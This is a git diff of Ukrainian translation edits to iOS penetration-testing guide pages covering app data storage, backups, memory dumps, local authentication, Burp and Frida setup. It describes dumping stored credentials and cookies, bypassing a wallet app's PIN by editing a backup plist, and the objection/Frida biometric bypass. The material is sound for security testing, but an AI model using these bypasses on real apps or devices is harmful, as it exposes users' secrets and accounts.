```bash otool -Vh DVIA-v2 #Check some compilation attributes magic cputype cpusubtype caps filetype ncmds sizeofcmds flags @@ -367,7 +367,7 @@ ios-basics.md > [!WARNING] > Наступні місця для зберігання інформації слід перевірити **відразу після встановлення програми**, **після перевірки всіх функцій** програми і навіть після **виходу з одного користувача та входу в іншого**.\ -> Мета полягає в тому, щоб знайти **незахищену чутливу інформацію** програми (паролі, токени), поточного користувача та раніше увійшлих користувачів. +> Мета полягає в тому, щоб знайти **незахищену чутливу інформацію** програми (паролі, токени), поточного користувача та раніше увійшли користувачів. ### Plist @@ -377,9 +377,9 @@ ios-basics.md Клас [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) надає програмний інтерфейс для взаємодії з системою за замовчуванням. Система за замовчуванням дозволяє програмі налаштовувати свою поведінку відповідно до **уподобань користувача**. Дані, збережені за допомогою `NSUserDefaults`, можна переглядати в пакеті програми. Цей клас зберігає **дані** в **plist** **файлі**, але призначений для використання з невеликою кількістю даних. -Ці дані більше не можуть бути доступні безпосередньо через довірений комп'ютер, але можуть бути доступні шляхом виконання **резервного копіювання**. +Ці дані більше не можна безпосередньо отримати через довірений комп'ютер, але їх можна отримати, виконавши **резервне копіювання**. -Ви можете **вивантажити** інформацію, збережену за допомогою **`NSUserDefaults`**, використовуючи `ios nsuserdefaults get` з objection. +Ви можете **вивантажити** інформацію, збережену за допомогою **`NSUserDefaults`**, використовуючи `ios nsuserdefaults get` від objection. Щоб знайти всі plist, які використовуються програмою, ви можете отримати доступ до `/private/var/mobile/Containers/Data/Application/{APPID}` і виконати: ```bash @@ -402,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/ ``` ### Core Data -[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) — це фреймворк для управління модельним шаром об'єктів у вашому додатку. [Core Data може використовувати SQLite як своє постійне сховище](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), але сам фреймворк не є базою даних.\ +[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) - це фреймворк для управління модельним шаром об'єктів у вашому додатку. [Core Data може використовувати SQLite як своє постійне сховище](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), але сам фреймворк не є базою даних.\ CoreData за замовчуванням не шифрує свої дані. Однак, додатковий шар шифрування може бути доданий до CoreData. Дивіться [GitHub Repo](https://github.com/project-imas/encrypted-core-data) для отримання додаткової інформації. Ви можете знайти інформацію про SQLite Core Data додатку за шляхом `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` @@ -490,7 +490,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S iOS зберігає куки додатків у **`Library/Cookies/cookies.binarycookies`** всередині папки кожного додатку. Однак, розробники іноді вирішують зберігати їх у **keychain**, оскільки згаданий **файл куків може бути доступний у резервних копіях**. Щоб перевірити файл куків, ви можете використовувати [**цей python скрипт**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) або використовувати **`ios cookies get`** з objection.\ -**Ви також можете використовувати objection, щоб** конвертувати ці файли у формат JSON та перевірити дані. +**Ви також можете використовувати objection, щоб** конвертувати ці файли у формат JSON і перевірити дані. ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json [ @@ -522,7 +522,7 @@ iOS зберігає куки додатків у **`Library/Cookies/cookies.bin [Документація Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): -`Об'єкт конфігурації сесії ephemeral подібний до об'єкта конфігурації сесії за замовчуванням (див. default), за винятком того, що відповідний об'єкт сесії не зберігає кеші, сховища облікових даних або будь-які дані, пов'язані з сесією, на диску. Натомість дані, пов'язані з сесією, зберігаються в оперативній пам'яті. Єдиний раз, коли ephemeral сесія записує дані на диск, це коли ви кажете їй записати вміст URL у файл.` +`Об'єкт конфігурації сесії ephemeral подібний до конфігурації сесії за замовчуванням (див. default), за винятком того, що відповідний об'єкт сесії не зберігає кеші, сховища облікових даних або будь-які дані, пов'язані з сесією, на диску. Натомість дані, пов'язані з сесією, зберігаються в оперативній пам'яті. Єдиний раз, коли ephemeral сесія записує дані на диск, це коли ви кажете їй записати вміст URL у файл.` 3. Кеш також можна відключити, встановивши політику кешування на [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Це відключить зберігання кешу будь-яким чином, як в пам'яті, так і на диску. @@ -589,7 +589,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers **Рекомендації з безпеки:** - Рекомендується вимкнути сторонні клавіатури для підвищення безпеки. -- Будьте обережні з функціями автокорекції та автопідказок стандартної клавіатури iOS, які можуть зберігати чутливу інформацію у кеш-файлах, розташованих у `Library/Keyboard/{locale}-dynamic-text.dat` або `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ці кеш-файли слід регулярно перевіряти на наявність чутливих даних. Рекомендується скинути словник клавіатури через **Налаштування > Загальні > Скинути > Скинути словник клавіатури** для очищення кешованих даних. +- Будьте обережні з функціями автокорекції та авто-пропозицій стандартної клавіатури iOS, які можуть зберігати чутливу інформацію у кеш-файлах, розташованих у `Library/Keyboard/{locale}-dynamic-text.dat` або `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ці кеш-файли слід регулярно перевіряти на наявність чутливих даних. Рекомендується скинути словник клавіатури через **Налаштування > Загальні > Скинути > Скинути словник клавіатури** для очищення кешованих даних. - Перехоплення мережевого трафіку може виявити, чи передає користувацька клавіатура натискання клавіш віддалено. ### **Запобігання кешуванню текстових полів** @@ -650,7 +650,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ### Тестування на вразливості -Щоб оцінити безпеку резервного копіювання додатка, почніть з **створення резервної копії** за допомогою Finder, а потім знайдіть її, скориставшись вказівками з [офіційної документації Apple](https://support.apple.com/en-us/HT204215). Проаналізуйте резервну копію на наявність чутливих даних або налаштувань, які можуть бути змінені для впливу на поведінку додатка. +Щоб оцінити безпеку резервного копіювання додатка, почніть з **створення резервної копії** за допомогою Finder, а потім знайдіть її, скориставшись вказівками з [офіційної документації Apple](https://support.apple.com/en-us/HT204215). Проаналізуйте резервну копію на наявність чутливих даних або конфігурацій, які можуть бути змінені для впливу на поведінку додатка. Чутливу інформацію можна шукати за допомогою інструментів командного рядка або програм, таких як [iMazing](https://imazing.com). Для зашифрованих резервних копій наявність шифрування можна підтвердити, перевіривши ключ "IsEncrypted" у файлі "Manifest.plist" в корені резервної копії. ```xml @@ -665,21 +665,21 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ... ``` -Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати налаштувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у захищених паролем резервних копіях є [**iOSbackup**](https://pypi.org/project/iOSbackup/). +Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати коригувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у захищених паролем резервних копіях є [**iOSbackup**](https://pypi.org/project/iOSbackup/). ### Модифікація поведінки додатка -Приклад зміни поведінки додатка через модифікації резервної копії продемонстровано в [додатку Bither bitcoin wallet](https://github.com/bither/bither-ios), де PIN-код блокування UI зберігається в `net.bither.plist` під ключем **pin_code**. Видалення цього ключа з plist і відновлення резервної копії усуває вимогу PIN-коду, надаючи необмежений доступ. +Приклад зміни поведінки додатка через модифікацію резервних копій продемонстровано в [додатку Bither bitcoin wallet](https://github.com/bither/bither-ios), де PIN-код блокування UI зберігається в `net.bither.plist` під ключем **pin_code**. Видалення цього ключа з plist і відновлення резервної копії усуває вимогу PIN-коду, надаючи необмежений доступ. ## Резюме щодо тестування пам'яті для чутливих даних -При роботі з чутливою інформацією, що зберігається в пам'яті додатка, важливо обмежити час експозиції цих даних. Існує два основних підходи для дослідження вмісту пам'яті: **створення дампу пам'яті** та **аналіз пам'яті в реальному часі**. Обидва методи мають свої виклики, включаючи можливість пропустити критично важливі дані під час процесу дампу або аналізу. +При роботі з чутливою інформацією, що зберігається в пам'яті додатка, важливо обмежити час експозиції цих даних. Існує два основних підходи для дослідження вмісту пам'яті: **створення дампа пам'яті** та **аналіз пам'яті в реальному часі**. Обидва методи мають свої виклики, включаючи можливість пропустити критично важливі дані під час процесу дампа або аналізу. -## **Отримання та аналіз дампу пам'яті** +## **Отримання та аналіз дампа пам'яті** -Для пристроїв з джейлбрейком і без нього інструменти, такі як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють створювати дамп пам'яті процесу додатка. Після дампу аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте. +Для як джейлбрейкнуті, так і не джейлбрейкнуті пристрої, такі інструменти, як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють створювати дамп пам'яті процесу додатка. Після дампа аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте. -Щоб витягти рядки з дампу пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`: +Щоб витягти рядки з дампа пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`: ```bash # Extracting strings using strings command $ strings memory > strings.txt @@ -687,7 +687,7 @@ $ strings memory > strings.txt # Extracting strings using rabin2 $ rabin2 -ZZ memory > strings.txt ``` -Для більш детального аналізу, включаючи пошук конкретних типів даних або шаблонів, **radare2** пропонує розширені можливості пошуку: +Для більш детального аналізу, включаючи пошук специфічних типів даних або шаблонів, **radare2** пропонує розширені можливості пошуку: ```bash $ r2 [0x00000000]> /? @@ -712,7 +712,7 @@ $ r2 frida://usb// ### Перевірка -Основні перевірки, які потрібно виконати, це знайти, чи можна знайти **жорстко закодовані** паролі/секрети в коді, або чи є вони **передбачуваними**, і чи використовує код якісь **слабкі** **шифрувальні** алгоритми. +Основні перевірки, які потрібно виконати, це знайти, чи можна знайти **жорстко закодовані** паролі/секрети в коді, або чи вони **передбачувані**, і чи використовує код якісь **слабкі** **шифрувальні** алгоритми. Цікаво знати, що ви можете **моніторити** деякі **крипто** **бібліотеки** автоматично, використовуючи **objection** з: ```swift @@ -724,9 +724,9 @@ ios monitor crypt **Локальна аутентифікація** відіграє важливу роль, особливо коли йдеться про захист доступу до віддаленого кінцевого пункту за допомогою криптографічних методів. Суть полягає в тому, що без належної реалізації механізми локальної аутентифікації можуть бути обійдені. -Фреймворк [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) від Apple та [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) надають надійні API для розробників, щоб полегшити діалоги аутентифікації користувачів і безпечно обробляти секретні дані відповідно. Secure Enclave захищає ідентифікацію за відбитком пальця для Touch ID, тоді як Face ID покладається на розпізнавання обличчя без компрометації біометричних даних. +Фреймворк [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) від Apple та [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) надають надійні API для розробників, щоб полегшити діалоги аутентифікації користувачів та безпечно обробляти секретні дані відповідно. Secure Enclave захищає ідентифікацію відбитків пальців для Touch ID, тоді як Face ID покладається на розпізнавання обличчя без компрометації біометричних даних. -Щоб інтегрувати Touch ID/Face ID, розробники мають два варіанти API: +Для інтеграції Touch ID/Face ID розробники мають два варіанти API: - **`LocalAuthentication.framework`** для високорівневої аутентифікації користувачів без доступу до біометричних даних. - **`Security.framework`** для доступу до сервісів keychain нижчого рівня, що забезпечує захист секретних даних за допомогою біометричної аутентифікації. Різні [open-source обгортки](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) спрощують доступ до keychain. @@ -741,15 +741,15 @@ ios monitor crypt - **`deviceOwnerAuthentication`**: Запитує Touch ID або код доступу до пристрою, не вдаючись, якщо жоден з них не увімкнено. - **`deviceOwnerAuthenticationWithBiometrics`**: Виключно запитує Touch ID. -Успішна аутентифікація вказується булевим значенням, що повертається з **`evaluatePolicy`**, що підкреслює потенційний недолік безпеки. +Успішна аутентифікація вказується булевим значенням, повернутим з **`evaluatePolicy`**, що підкреслює потенційний недолік безпеки. ### Локальна аутентифікація за допомогою Keychain Реалізація **локальної аутентифікації** в iOS-додатках передбачає використання **keychain API** для безпечного зберігання секретних даних, таких як токени аутентифікації. Цей процес забезпечує доступ до даних лише для користувача, використовуючи їх код доступу до пристрою або біометричну аутентифікацію, таку як Touch ID. -Keychain пропонує можливість встановлювати елементи з атрибутом `SecAccessControl`, який обмежує доступ до елемента, поки користувач успішно не аутентифікується через Touch ID або код доступу до пристрою. Ця функція є важливою для підвищення безпеки. +Keychain пропонує можливість встановлювати елементи з атрибутом `SecAccessControl`, який обмежує доступ до елемента, поки користувач не пройде успішну аутентифікацію через Touch ID або код доступу до пристрою. Ця функція є важливою для підвищення безпеки. -Нижче наведені приклади коду на Swift та Objective-C, які демонструють, як зберігати та отримувати рядок з keychain, використовуючи ці функції безпеки. Приклади конкретно показують, як налаштувати контроль доступу, щоб вимагати аутентифікацію Touch ID та забезпечити доступ до даних лише на пристрої, на якому вони були налаштовані, за умови, що код доступу до пристрою налаштовано. +Нижче наведені приклади коду на Swift та Objective-C, які демонструють, як зберігати та отримувати рядок з keychain, використовуючи ці функції безпеки. Приклади конкретно показують, як налаштувати контроль доступу, щоб вимагати аутентифікацію Touch ID та забезпечити доступність даних лише на пристрої, на якому вони були налаштовані, за умови, що код доступу до пристрою налаштовано. {{#tabs}} {{#tab name="Swift"}} @@ -891,7 +891,7 @@ $ otool -L .app/ #### **Objection** -Через **Objection Biometrics Bypass**, розташований на [цій сторінці GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), доступна техніка для подолання механізму **LocalAuthentication**. Суть цього підходу полягає в використанні **Frida** для маніпуляції функцією `evaluatePolicy`, забезпечуючи постійний результат `True`, незалежно від фактичного успіху аутентифікації. Це особливо корисно для обходу ненадійних процесів біометричної аутентифікації. +Через **Objection Biometrics Bypass**, розташований на [цій сторінці GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), доступна техніка для подолання механізму **LocalAuthentication**. Суть цього підходу полягає в використанні **Frida** для маніпуляції функцією `evaluatePolicy`, що забезпечує постійний результат `True`, незалежно від фактичного успіху аутентифікації. Це особливо корисно для обходу ненадійних процесів біометричної аутентифікації. Для активації цього обходу використовується наступна команда: ```bash @@ -1036,12 +1036,12 @@ burp-configuration-for-ios.md - У папці встановленого додатку (**`/User/Applications//`**) ви можете знайти деякі цікаві файли: - **`iTunesArtwork`**: Іконка, що використовується додатком - **`iTunesMetadata.plist`**: Інформація про додаток, що використовується в App Store -- **`/Library/*`**: Містить налаштування та кеш. У **`/Library/Cache/Snapshots/*`** ви можете знайти знімок, виконаний для додатку перед його відправленням у фоновий режим. +- **`/Library/*`**: Містить налаштування та кеш. У **`/Library/Cache/Snapshots/*`** ви можете знайти знімок, виконаний для додатку перед його відправкою у фоновий режим. ### Гаряче патчування/Примусове оновлення Розробники можуть віддалено **поправити всі установки свого додатку миттєво**, не подаючи додаток повторно в App Store і не чекаючи його затвердження.\ -Для цієї мети зазвичай використовують [**JSPatch**](https://github.com/bang590/JSPatch)**.** Але є й інші варіанти, такі як [Siren](https://github.com/ArtSabintsev/Siren) та [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ +Для цієї мети зазвичай використовують [**JSPatch**](https://github.com/bang590/JSPatch)**.** Але також є інші варіанти, такі як [Siren](https://github.com/ArtSabintsev/Siren) та [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ **Це небезпечний механізм, який може бути зловжито зловмисними сторонніми SDK, тому рекомендується перевірити, який метод використовується для автоматичного оновлення (якщо є) та протестувати його.** Ви можете спробувати завантажити попередню версію додатку для цієї мети. ### Сторонні програми diff --git a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md index b35f53575..2d7d81abd 100644 --- a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -42,7 +42,7 @@ $ ssh -p 2222 root@localhost ### **Скидання забутих паролів** -Щоб скинути забутий пароль до значення за замовчуванням (`alpine`), необхідно відредагувати файл `/private/etc/master.passwd`. Це передбачає заміну існуючого хешу на хеш для `alpine` поруч із записами користувачів `root` і `mobile`. +Щоб скинути забутий пароль до значення за замовчуванням (`alpine`), необхідно відредагувати файл `/private/etc/master.passwd`. Це передбачає заміну існуючого хешу на хеш для `alpine` поруч з записами користувачів `root` і `mobile`. ## **Техніки передачі даних** @@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so ### **Процес розшифрування** -**Огляд ручного розшифрування:** Бінарні файли програм iOS шифруються Apple за допомогою FairPlay. Щоб провести реверс-інжиніринг, потрібно витягти розшифрований бінарний файл з пам'яті. Процес розшифрування включає перевірку прапора PIE, коригування прапорів пам'яті, ідентифікацію зашифрованої секції, а потім витягування та заміну цієї секції на її розшифровану форму. +**Огляд ручного розшифрування:** Бінарні файли програм iOS шифруються Apple за допомогою FairPlay. Щоб виконати реверс-інжиніринг, потрібно витягти розшифрований бінарний файл з пам'яті. Процес розшифрування включає перевірку прапора PIE, коригування прапорів пам'яті, ідентифікацію зашифрованої секції, а потім витягування та заміну цієї секції на її розшифровану форму. **Перевірка та модифікація прапора PIE:** ```bash @@ -150,13 +150,13 @@ bagbak --raw Chrome - **libimobiledevice**: Бібліотека для Linux та macOS для зв'язку з iOS пристроями. Команди для встановлення та приклади використання ideviceinstaller надаються для встановлення додатків через USB. -- **ipainstaller**: Цей інструмент командного рядка дозволяє безпосереднє встановлення додатків на iOS пристрої. +- **ipainstaller**: Цей інструмент командного рядка дозволяє безпосередньо встановлювати додатки на iOS пристрої. - **ios-deploy**: Для користувачів macOS, ios-deploy встановлює iOS додатки з командного рядка. Розпакування IPA та використання прапора `-m` для безпосереднього запуску додатка є частиною процесу. - **Xcode**: Використовуйте Xcode для встановлення додатків, перейшовши до **Window/Devices and Simulators** та додавши додаток до **Installed Apps**. -#### **Дозволити встановлення додатків на пристрої, що не є iPad** +#### **Дозволити встановлення додатків на пристроях, що не є iPad** Щоб встановити специфічні для iPad додатки на пристрої iPhone або iPod touch, значення **UIDeviceFamily** у файлі **Info.plist** потрібно змінити на **1**. Однак ця модифікація вимагає повторного підписування IPA файлу через перевірки підпису. diff --git a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index 96a750b8d..bfd7ad4a0 100644 --- a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -8,17 +8,17 @@ ### Автоматичне встановлення за допомогою Burp Mobile Assistant -**Burp Mobile Assistant** спрощує процес встановлення сертифіката Burp, конфігурації проксі та SSL Pinning. Детальні інструкції можна знайти в [офіційній документації PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). +**Burp Mobile Assistant** спрощує процес встановлення сертифіката Burp, конфігурації проксі та SSL Pinning. Детальні вказівки можна знайти в [офіційній документації PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). ### Кроки ручного встановлення 1. **Конфігурація проксі:** Почніть з налаштування Burp як проксі в налаштуваннях Wi-Fi iPhone. 2. **Завантаження сертифіката:** Перейдіть на `http://burp` у браузері вашого пристрою, щоб завантажити сертифікат. -3. **Встановлення сертифіката:** Встановіть завантажений профіль через **Налаштування** > **Основні** > **VPN та управління пристроєм**, потім увімкніть довіру для PortSwigger CA в **Налаштуваннях довіри сертифікатів**. +3. **Встановлення сертифіката:** Встановіть завантажений профіль через **Налаштування** > **Основні** > **VPN та управління пристроєм**, потім увімкніть довіру для CA PortSwigger у **Налаштуваннях довіри сертифікатів**. ### Налаштування проксі для перехоплення -Налаштування дозволяє аналізувати трафік між пристроєм iOS та інтернетом через Burp, вимагаючи Wi-Fi мережу, яка підтримує клієнтський трафік. Якщо це неможливо, USB-з'єднання через usbmuxd може слугувати альтернативою. Тут ви знайдете детальні інструкції щодо [конфігурації пристрою](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) та [встановлення сертифіката](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). +Налаштування дозволяє аналізувати трафік між пристроєм iOS та інтернетом через Burp, вимагаючи Wi-Fi мережу, яка підтримує клієнтський трафік. Якщо це неможливо, USB-з'єднання через usbmuxd може слугувати альтернативою. Туториали PortSwigger надають детальні інструкції щодо [конфігурації пристрою](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) та [встановлення сертифіката](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). ### Розширена конфігурація для джейлбрейкнутіх пристроїв @@ -40,7 +40,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222 ### Повний моніторинг/перехоплення мережі -Моніторинг не-HTTP трафіку пристроїв можна ефективно проводити за допомогою **Wireshark**, інструменту, здатного захоплювати всі форми даних. Для пристроїв iOS моніторинг трафіку в реальному часі здійснюється через створення віддаленого віртуального інтерфейсу, процес якого детально описано в [цьому пості на Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Перед початком необхідно встановити **Wireshark** на систему macOS. +Моніторинг не-HTTP трафіку пристрою можна ефективно проводити за допомогою **Wireshark**, інструменту, здатного захоплювати всі форми даних трафіку. Для пристроїв iOS моніторинг трафіку в реальному часі здійснюється через створення віддаленого віртуального інтерфейсу, процес якого детально описано в [цьому пості на Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Перед початком необхідно встановити **Wireshark** на систему macOS. Процедура включає кілька ключових кроків: diff --git a/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md b/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md index 8c8623c9e..59ccdf1e9 100644 --- a/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md +++ b/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md @@ -6,7 +6,7 @@ ### **Витягування прав та мобільних файлів провізії** -При роботі з IPA додатком або встановленим додатком на джейлбрейкнутому пристрої, безпосередньо знайти файли `.entitlements` або файл `embedded.mobileprovision` може бути неможливо. Однак, списки властивостей прав все ще можна витягнути з бінарного файлу додатку, дотримуючись процедур, викладених у розділі "Основне тестування безпеки iOS", зокрема в розділі "Отримання бінарного файлу додатку". +При роботі з IPA додатком або встановленим додатком на джейлбрейкнутому пристрої, безпосередньо знайти файли `.entitlements` або файл `embedded.mobileprovision` може бути неможливо. Однак, списки прав все ще можна витягнути з бінарного файлу додатку, дотримуючись процедур, викладених у розділі "Основне тестування безпеки iOS", зокрема в розділі "Отримання бінарного файлу додатку". Навіть з зашифрованими бінарними файлами, певні кроки можуть бути використані для витягування цих файлів. Якщо ці кроки не вдаються, можуть знадобитися інструменти, такі як Clutch (якщо сумісний з версією iOS), frida-ios-dump або подібні утиліти для дешифрування та витягування додатку. @@ -28,9 +28,9 @@ $ r2 -qc 'izz~PropertyList' ./Telegram\ X 0x0015d2a4 ascii ... 0x0016427d ascii H... ``` -Обидва методи, binwalk і radare2, дозволяють витягувати `plist` файли, при цьому перевірка першого (0x0015d2a4) виявила успішне відновлення [оригінального файлу прав з Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements). +Обидва методи, binwalk і radare2, дозволяють витягувати `plist` файли, при цьому перевірка першого (0x0015d2a4) виявила успішне відновлення [оригінального файлу прав](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements) з Telegram. -Для бінарних файлів додатків, доступних на зламаних пристроях (наприклад, через SSH), команда **grep** з прапором `-a, --text` може бути використана для обробки всіх файлів як ASCII тексту: +Для бінарних файлів додатків, доступних на зламаних пристроях (наприклад, через SSH), команда **grep** з прапором `-a, --text` може бути використана для обробки всіх файлів як ASCII текст: ```bash $ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/... ``` diff --git a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index 0841afb33..eb20cf307 100644 --- a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -13,7 +13,7 @@ 4. Перейдіть до новододаного джерела Frida. 5. Встановіть пакет Frida. -Якщо ви використовуєте **Corellium**, вам потрібно завантажити реліз Frida з [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) і розпакувати та скопіювати до місця розташування dylib, яке вимагає Frida, наприклад: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` +Якщо ви використовуєте **Corellium**, вам потрібно завантажити реліз Frida з [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) і розпакувати та скопіювати в місце розташування dylib, яке вимагає Frida, наприклад: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` Після встановлення ви можете використовувати на своєму ПК команду **`frida-ls-devices`** і перевірити, що пристрій з'являється (ваш ПК повинен мати доступ до нього).\ Виконайте також **`frida-ps -Uia`**, щоб перевірити запущені процеси телефону. diff --git a/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md b/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md index 3a0a7853d..18a7ed016 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md +++ b/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md @@ -15,8 +15,8 @@ Ключові аспекти безпеки включають: - Розширення та їхні додатки спілкуються через міжпроцесорну комунікацію, а не безпосередньо. -- **Віджет "Сьогодні"** є унікальним тим, що може запитати свій додаток про відкриття через певний метод. -- Доступ до спільних даних дозволено в межах приватного контейнера, але прямий доступ обмежений. +- **Віджет "Сьогодні"** є унікальним тим, що може запитати свій додаток про відкриття через специфічний метод. +- Доступ до спільних даних дозволено в приватному контейнері, але прямий доступ обмежений. - Деякі API, включаючи HealthKit, недоступні для розширень додатків, які також не можуть запускати тривалі завдання, отримувати доступ до камери або мікрофона, за винятком розширень iMessage. ### Статичний аналіз diff --git a/src/mobile-pentesting/ios-pentesting/ios-basics.md b/src/mobile-pentesting/ios-pentesting/ios-basics.md index 4c045db78..20add8ad1 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-basics.md +++ b/src/mobile-pentesting/ios-pentesting/ios-basics.md @@ -2,13 +2,13 @@ # Розділення привілеїв та пісочниця -В iOS існує розрізнення привілеїв між додатками, доступними користувачеві, та основними процесами системи. Додатки працюють під ідентифікатором користувача **`mobile`**, тоді як критично важливі системні процеси функціонують як **`root`**. Це розділення посилюється механізмом пісочниці, який накладає суворі обмеження на дії, які можуть виконувати додатки. Наприклад, навіть якщо додатки мають однакову ідентичність користувача, їм заборонено отримувати доступ або змінювати дані один одного. +В iOS існує розрізнення привілеїв між додатками, доступними користувачеві, та основними процесами системи. Додатки працюють під ідентичністю користувача **`mobile`**, тоді як критично важливі системні процеси функціонують як **`root`**. Це розділення посилюється механізмом пісочниці, який накладає суворі обмеження на дії, які можуть виконувати додатки. Наприклад, навіть якщо додатки мають однакову ідентичність користувача, їм заборонено отримувати доступ до даних один одного або змінювати їх. -Додатки встановлюються в конкретному каталозі (`private/var/mobile/Applications/{random ID}`) і мають обмежений доступ для читання до певних системних областей і функцій, таких як SMS та телефонні дзвінки. Доступ до захищених областей викликає спливаюче вікно з запитом на дозвіл користувача. +Додатки встановлюються в конкретний каталог (`private/var/mobile/Applications/{random ID}`) і мають обмежений доступ для читання до певних системних областей і функцій, таких як SMS та телефонні дзвінки. Доступ до захищених областей викликає спливаюче вікно з запитом на дозвіл користувача. # Захист даних -iOS пропонує розробникам **API захисту даних**, побудовані на основі Secure Enclave Processor (SEP) — спеціального сопроцесора для криптографічних операцій та управління ключами. SEP забезпечує цілісність захисту даних за допомогою унікального ключа, специфічного для пристрою, UID пристрою, вбудованого в нього. +iOS пропонує розробникам **API захисту даних**, побудовані на основі Secure Enclave Processor (SEP) — спеціалізованого сопроцесора для криптографічних операцій та управління ключами. SEP забезпечує цілісність захисту даних за допомогою унікального ключа, специфічного для пристрою, UID пристрою, вбудованого в нього. При створенні файлу генерується унікальний 256-бітний AES ключ шифрування, який шифрує вміст файлу. Цей ключ шифрування, разом з класом ID, потім шифрується за допомогою класного ключа і зберігається в метаданих файлу. Дешифрування файлу передбачає використання 